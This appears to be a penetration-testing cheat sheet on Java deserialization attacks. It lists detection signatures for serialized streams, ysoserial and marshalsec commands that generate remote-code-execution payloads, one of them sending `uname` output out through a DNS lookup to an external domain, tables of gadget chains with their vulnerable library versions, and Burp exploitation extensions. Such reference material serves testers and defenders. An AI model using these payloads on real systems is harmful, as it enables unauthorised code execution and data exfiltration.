Java Deserialization

Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the Serializable interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.

Detection

"AC ED 00 05" in Hex
- AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
- 00 05: STREAM_VERSION. The serialization version.
"rO0" in Base64
Content-type = "application/x-java-serialized-object"
"H4sIAAAAAAAAAJ" in gzip(base64)

Tools

Ysoserial

frohoff/ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64

List of payloads included in ysoserial:

Payload	Authors	Dependencies
AspectJWeaver	@Jang	aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1	@pwntester, @cschneider4711	bsh:2.0b5
C3P0	@mbechler	c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1	@artsploit	click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure	@JackOfMostTrades	clojure:1.8.0
CommonsBeanutils1	@frohoff	commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1	@frohoff	commons-collections:3.1
CommonsCollections2	@frohoff	commons-collections4:4.0
CommonsCollections3	@frohoff	commons-collections:3.1
CommonsCollections4	@frohoff	commons-collections4:4.0
CommonsCollections5	@matthias_kaiser, @jasinner	commons-collections:3.1
CommonsCollections6	@matthias_kaiser	commons-collections:3.1
CommonsCollections7	@scristalli, @hanyrax, @EdoardoVignati	commons-collections:3.1
FileUpload1	@mbechler	commons-fileupload:1.3.1, commons-io:2.4
Groovy1	@frohoff	groovy:2.3.9
Hibernate1	@mbechler
Hibernate2	@mbechler
JBossInterceptors1	@matthias_kaiser	javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient	@mbechler
JRMPListener	@mbechler
JSON1	@mbechler	json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1	@matthias_kaiser	javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21	@frohoff
Jython1	@pwntester, @cschneider4711	jython-standalone:2.5.2
MozillaRhino1	@matthias_kaiser	js:1.7R2
MozillaRhino2	@_tint0	js:1.7R2
Myfaces1	@mbechler
Myfaces2	@mbechler
ROME	@mbechler	rome:1.0
Spring1	@frohoff	spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2	@mbechler	spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS	@gebl
Vaadin1	@kai_ullrich	vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1	@jacob-baines	wicket-util:6.23.0, slf4j-api:1.6.4

Burp extensions

NetSPI/JavaSerialKiller - Burp extension to perform Java Deserialization Attacks
federicodotta/Java Deserialization Scanner - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities
summitt/burp-ysoserial - YSOSERIAL Integration with Burp Suite
DirectDefense/SuperSerial - Burp Java Deserialization Vulnerability Identification
DirectDefense/SuperSerial-Active - Java Deserialization Vulnerability Active Identification Burp Extender

Alternative Tooling

pwntester/JRE8u20_RCE_Gadget - Pure JRE 8 RCE Deserialization gadget
joaomatosf/JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
pimps/ysoserial-modified - A fork of the original ysoserial application
NickstaDB/SerialBrute - Java serialization brute force attack tool
NickstaDB/SerializationDumper - A tool to dump Java serialization streams in a more human readable form
bishopfox/gadgetprobe - Exploiting Deserialization to Brute-Force the Remote Classpath

k3idii/Deserek - Python code to Serialize and Unserialize java binary serialization format.

java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
python deserek.py yss_base.bin --format python > yss_url.py
python yss_url.py yss_new.bin
java -cp JavaSerializationTestSuite DeSerial yss_new.bin

mbechler/marshalsec - Turning your data into code execution

$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - generates/tests all payloads for that marshaller
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
// -v - verbose mode, e.g. also shows the generated payload in test mode.
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
// arguments - Gadget specific arguments

Payload generators for the following marshallers are included:

Marshaller	Gadget Impact
BlazeDSAMF(0\|3\|X)	JDK only escalation to Java serialization various third party libraries RCEs
Hessian\|Burlap	various third party RCEs
Castor	dependency library RCE
Jackson	possible JDK only RCE, various third party RCEs
Java	yet another third party RCE
JsonIO	JDK only RCE
JYAML	JDK only RCE
Kryo	third party RCEs
KryoAltStrategy	JDK only RCE
Red5AMF(0\|3)	JDK only RCE
SnakeYAML	JDK only RCEs
XStream	JDK only RCEs
YAMLBeans	third party RCE

11 KiB Raw Blame History Unescape Escape